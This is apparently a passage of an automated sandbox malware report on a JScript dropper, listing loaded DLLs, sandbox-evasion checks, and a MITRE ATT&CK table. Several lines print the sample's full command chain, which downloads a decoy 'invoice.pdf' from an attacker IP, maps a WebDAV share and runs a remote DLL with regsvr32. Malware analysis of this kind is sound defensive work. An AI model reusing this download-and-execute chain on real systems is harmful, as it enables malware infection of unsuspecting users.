Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\4664.js.csv");ITextStream.WriteLine(" entry:8453 f:pvtfo");ITextStream.WriteLine(" exec:2 f:pvtfo");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4395			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5464			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1672	Thread sleep count: 4395 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1672	Thread sleep count: 5464 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1476	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1784	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2684	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: svchost.exe, 00000009.00000002.3364713675.000001EB00A2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 00000007.00000003.2166901102.000002666428E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3365763211.000001EB06054000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2175589632.0000026664228000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW /)df

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
